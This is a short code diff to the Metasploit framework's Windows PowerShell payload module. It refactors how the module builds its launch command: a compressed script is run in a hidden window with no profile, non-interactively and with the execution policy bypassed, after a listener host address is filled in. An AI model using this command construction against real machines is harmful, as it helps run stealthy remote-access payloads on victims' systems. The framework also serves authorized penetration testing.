diff --git a/lib/msf/core/payload/windows/powershell.rb b/lib/msf/core/payload/windows/powershell.rb index 534859487e..9165448b3b 100644 --- a/lib/msf/core/payload/windows/powershell.rb +++ b/lib/msf/core/payload/windows/powershell.rb @@ -44,7 +44,18 @@ module Payload::Windows::Powershell script_in.gsub!('LHOST_REPLACE', lhost.to_s) script = Rex::Powershell::Command.compress_script(script_in) - "powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})" + command_args = { + noprofile: true, + windowstyle: 'hidden', + noninteractive: true, + executionpolicy: 'bypass' + } + cli = Rex::Powershell::Command.generate_psh_command_line(command_args) + return "#{cli} '&([scriptblock]::create(#{script})'" + end + + def generate + command_string end end end